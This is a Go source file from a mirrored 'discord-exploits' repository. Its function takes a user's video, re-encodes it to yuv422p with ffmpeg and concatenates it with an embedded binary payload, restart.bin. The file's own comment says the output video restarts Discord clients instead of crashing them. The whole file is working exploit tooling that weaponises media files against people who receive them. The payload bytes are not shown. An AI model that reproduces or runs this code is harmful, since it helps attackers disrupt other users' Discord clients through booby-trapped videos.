mirror of
https://github.com/Schmenn/discord-exploits.git
synced 2025-04-26 10:26:25 +00:00
46 lines
1.3 KiB
Go
46 lines
1.3 KiB
Go
package exploits
|
|
|
|
import (
|
|
_ "embed" // embed
|
|
"fmt"
|
|
"os"
|
|
"os/exec"
|
|
"time"
|
|
|
|
"github.com/Schmenn/discord-exploits/modules"
|
|
)
|
|
|
|
//go:embed restart.bin
|
|
var restartBin []byte
|
|
|
|
// RunRestartVideoTask will concatenate a user-provided mpeg4 file and restart.bin to create a video which will
|
|
// restart clients instead of crashing them. Requires that the base mpeg4 be encoded to yuv422p color space.
|
|
func RunRestartVideoTask(filename string) {
|
|
binname := modules.CreateName("bin")
|
|
outname := modules.CreateName("mp4")
|
|
txtname := modules.CreateName("txt")
|
|
// prevent duplicate id
|
|
time.Sleep(time.Millisecond * 1)
|
|
reencode := modules.CreateName("mp4")
|
|
|
|
modules.CheckForFFmpeg()
|
|
cmd := exec.Command("ffmpeg", "-i", filename, "-pix_fmt", "yuv422p", reencode)
|
|
err := cmd.Run()
|
|
modules.Check(err)
|
|
err = os.WriteFile(txtname, []byte(`file '`+reencode+`'`+"\n"+`file '`+binname+`'`), 0777)
|
|
modules.Check(err)
|
|
err = os.WriteFile(binname, restartBin, 0777)
|
|
modules.Check(err)
|
|
cmd = exec.Command("ffmpeg", "-f", "concat", "-safe", "0", "-i", txtname, "-y", "-c", "copy", outname)
|
|
err = cmd.Run()
|
|
modules.Check(err)
|
|
|
|
err = os.Remove(binname)
|
|
modules.Check(err)
|
|
err = os.Remove(txtname)
|
|
modules.Check(err)
|
|
err = os.Remove(reencode)
|
|
modules.Check(err)
|
|
fmt.Println("Saved video to: " + outname)
|
|
}
|